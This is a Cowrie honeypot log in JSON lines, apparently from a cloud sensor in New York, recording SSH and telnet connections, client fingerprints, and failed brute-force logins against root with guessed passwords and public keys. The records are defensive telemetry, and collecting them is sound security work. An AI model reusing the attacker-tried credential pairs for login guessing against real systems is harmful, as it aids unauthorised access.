{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":47294,"dst_ip":"159.203.135.109","dst_port":23,"session":"4238babd6f11","protocol":"telnet","message":"New connection: 69.4.83.194:47294 (159.203.135.109:23) [session: 4238babd6f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:36.916278Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":58900,"dst_ip":"10.17.0.5","dst_port":22,"session":"60f19b1bcfe3","protocol":"ssh","message":"New connection: 103.122.221.179:58900 (10.17.0.5:22) [session: 60f19b1bcfe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:39.618626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:39.622877Z","src_ip":"103.122.221.179","session":"60f19b1bcfe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:39.875231Z","src_ip":"103.122.221.179","session":"60f19b1bcfe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gjpbnbd","message":"login attempt [root/gjpbnbd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:40.633241Z","src_ip":"103.122.221.179","session":"60f19b1bcfe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":38754,"dst_ip":"159.203.135.109","dst_port":22,"session":"e20b750df367","protocol":"ssh","message":"New connection: 101.79.165.133:38754 (159.203.135.109:22) [session: e20b750df367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:41.075606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:41.080133Z","src_ip":"101.79.165.133","session":"e20b750df367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:41.294869Z","src_ip":"101.79.165.133","session":"e20b750df367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:41.888128Z","src_ip":"103.122.221.179","session":"60f19b1bcfe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@4321","message":"login attempt [root/Root@4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:42.187065Z","src_ip":"101.79.165.133","session":"e20b750df367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:43.411333Z","src_ip":"101.79.165.133","session":"e20b750df367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":43914,"dst_ip":"159.203.135.109","dst_port":22,"session":"578078b94581","protocol":"ssh","message":"New connection: 193.37.70.224:43914 (159.203.135.109:22) [session: 578078b94581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:44.023622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:44.029112Z","src_ip":"193.37.70.224","session":"578078b94581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:44.118210Z","src_ip":"193.37.70.224","session":"578078b94581","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"papapapa","message":"login attempt [root/papapapa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:44.382736Z","src_ip":"193.37.70.224","session":"578078b94581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:45.474028Z","src_ip":"193.37.70.224","session":"578078b94581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.62993335723877,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:45.489126Z","src_ip":"69.4.83.194","session":"d2f7b51d27ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":49332,"dst_ip":"159.203.135.109","dst_port":23,"session":"4363da6fdb60","protocol":"telnet","message":"New connection: 69.4.83.194:49332 (159.203.135.109:23) [session: 4363da6fdb60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:45.544441Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.243.250.115","src_port":50352,"dst_ip":"159.203.135.109","dst_port":22,"session":"475d6ff3025c","protocol":"ssh","message":"New connection: 106.243.250.115:50352 (159.203.135.109:22) [session: 475d6ff3025c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:54.323371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:54.328591Z","src_ip":"106.243.250.115","session":"475d6ff3025c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:54.539640Z","src_ip":"106.243.250.115","session":"475d6ff3025c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qw","message":"login attempt [root/123456qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:55.410849Z","src_ip":"106.243.250.115","session":"475d6ff3025c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":49116,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c3887d1888b","protocol":"ssh","message":"New connection: 180.178.94.210:49116 (159.203.135.109:22) [session: 1c3887d1888b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:55.944207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:55.949321Z","src_ip":"180.178.94.210","session":"1c3887d1888b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:56.203872Z","src_ip":"180.178.94.210","session":"1c3887d1888b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:56.624085Z","src_ip":"106.243.250.115","session":"475d6ff3025c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lord","password":"lord","message":"login attempt [lord/lord] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:57.261797Z","src_ip":"180.178.94.210","session":"1c3887d1888b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:58.525196Z","src_ip":"180.178.94.210","session":"1c3887d1888b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":54432,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f69c87cefee","protocol":"telnet","message":"New connection: 79.139.59.21:54432 (159.203.135.109:23) [session: 2f69c87cefee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:33:59.421847Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.191.165.57","src_port":47510,"dst_ip":"10.17.0.5","dst_port":22,"session":"669e78ecc86e","protocol":"ssh","message":"New connection: 185.191.165.57:47510 (10.17.0.5:22) [session: 669e78ecc86e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:01.418606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:01.427845Z","src_ip":"185.191.165.57","session":"669e78ecc86e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:01.550438Z","src_ip":"185.191.165.57","session":"669e78ecc86e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:9e:72:31:11:d7:6f:8f:d8:66:a3:b8:38:e1:a2:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVn/zH9Yk67mFRXJC/RoQZtzAh9uP99NWhTud8B7Yppz7raMlKhGzk7u/RNe/1uxfaWMyiUcml/TGLNhvcCVoL3a0AzrFxN9BqzH7cYY/ovLRpQIUqtNRteIZj0OOUWZpg/J97k8qEUt3zAGUULXB9112u5zDg3LVhDn40WoFOOKKpgLqixv42ofupQCyzGoVUZu/N0Wuo5ayWqOu3WqWv7OMdVnS6mGdajUd++tg+vaeuX7KICczKIka7B3lynHfQ/GET5K+tJ/lqFnIhVXzs0H3xh95PtZhvqLinFeRAJXhVtleS4HW9xt4nbja4JCKP4vaG2z+/IAKIObf/ajfCBFQ3F/odi7YkkUs1p3Q9eCK9XW9CoO1WjnKzceLxk/SbSt0aXKIq/Yn8K8o9BZ/QEl0iOVEVJ9oi8ySwRN4lPQEqTxslaXgF33dN2SShsi8WuL2hAqVbJgq7S7YstI3tzqU1koYg8S49tLBcaKk4TzBheWzPijzDxeOmlzNV2+k=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:9e:72:31:11:d7:6f:8f:d8:66:a3:b8:38:e1:a2:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:02.150982Z","src_ip":"185.191.165.57","session":"669e78ecc86e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:9e:72:31:11:d7:6f:8f:d8:66:a3:b8:38:e1:a2:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVn/zH9Yk67mFRXJC/RoQZtzAh9uP99NWhTud8B7Yppz7raMlKhGzk7u/RNe/1uxfaWMyiUcml/TGLNhvcCVoL3a0AzrFxN9BqzH7cYY/ovLRpQIUqtNRteIZj0OOUWZpg/J97k8qEUt3zAGUULXB9112u5zDg3LVhDn40WoFOOKKpgLqixv42ofupQCyzGoVUZu/N0Wuo5ayWqOu3WqWv7OMdVnS6mGdajUd++tg+vaeuX7KICczKIka7B3lynHfQ/GET5K+tJ/lqFnIhVXzs0H3xh95PtZhvqLinFeRAJXhVtleS4HW9xt4nbja4JCKP4vaG2z+/IAKIObf/ajfCBFQ3F/odi7YkkUs1p3Q9eCK9XW9CoO1WjnKzceLxk/SbSt0aXKIq/Yn8K8o9BZ/QEl0iOVEVJ9oi8ySwRN4lPQEqTxslaXgF33dN2SShsi8WuL2hAqVbJgq7S7YstI3tzqU1koYg8S49tLBcaKk4TzBheWzPijzDxeOmlzNV2+k=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:02.155245Z","src_ip":"185.191.165.57","session":"669e78ecc86e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:a8:ec:38:c5:db:62:15:09:a2:b5:84:30:d4:3d:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+qWbR64zpkMbwNnePBNw0V6LDSstkD1BAkk6NWPECHI0avxPsLrkEmIdRthxCqFvIPhqFyss92eARzism4JbdVnnL9RGVU87J87lRcLHX210J9zxkiQ0lkrCDHUoOrK6TXZJarKzCclBLCgEgL4J1M4fS0/QuT6fSS8jMBFhdFJA9L4gTtBZK+yhXZ3Q5J6zJAR+sml29SMh3H0JRMxK/PEHfRFbD/I+LIvlDNvYQ+DAZAn2CiHRDKevCwTW4Bvf9dBjN7IFCDnyKo83wbDmuRl+EpGNcRZDxEEZB+l45VFdz5pFvRPeXX4fZf7q+JqtGGMwaiip+ETN5Dv3Scmuz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:a8:ec:38:c5:db:62:15:09:a2:b5:84:30:d4:3d:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:02.278959Z","src_ip":"185.191.165.57","session":"669e78ecc86e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:a8:ec:38:c5:db:62:15:09:a2:b5:84:30:d4:3d:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+qWbR64zpkMbwNnePBNw0V6LDSstkD1BAkk6NWPECHI0avxPsLrkEmIdRthxCqFvIPhqFyss92eARzism4JbdVnnL9RGVU87J87lRcLHX210J9zxkiQ0lkrCDHUoOrK6TXZJarKzCclBLCgEgL4J1M4fS0/QuT6fSS8jMBFhdFJA9L4gTtBZK+yhXZ3Q5J6zJAR+sml29SMh3H0JRMxK/PEHfRFbD/I+LIvlDNvYQ+DAZAn2CiHRDKevCwTW4Bvf9dBjN7IFCDnyKo83wbDmuRl+EpGNcRZDxEEZB+l45VFdz5pFvRPeXX4fZf7q+JqtGGMwaiip+ETN5Dv3Scmuz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:02.283466Z","src_ip":"185.191.165.57","session":"669e78ecc86e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:41:bd:2d:fa:3f:fd:e0:3e:eb:29:32:c9:5b:06:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT1q0h1p5dv5Uvksf/74XK94NwAc9zfG7WdWpYp0nPQwTs8RBqE35X+nW7by/9j8me7gHrXW8rv+2eIB3VbrdoOhVQfxI2mLsVo5jkRjMtAB8vzOTp80TfC1SINHI0CmeD6fjBeMgNsQtms/XRXbHhsUIB/GXw8l+lszIkgboYd6dkKvpjZAUDJaItaj+ISjOjT+81hz6ffzo7UUvjeFS24jfb/LzxjT/tv/OFjnd7V9sswriNDxKSD6l4yazDJfvCye+PCzmM8He4MWdYiKuhD40/vjdE5tkyy1kdqkDU06K1RWN0bnnVZNbbbxVLlDbIo7jMNVWpsbHK7q4YLmBB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:41:bd:2d:fa:3f:fd:e0:3e:eb:29:32:c9:5b:06:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:02.406987Z","src_ip":"185.191.165.57","session":"669e78ecc86e","protocol":"ssh"}
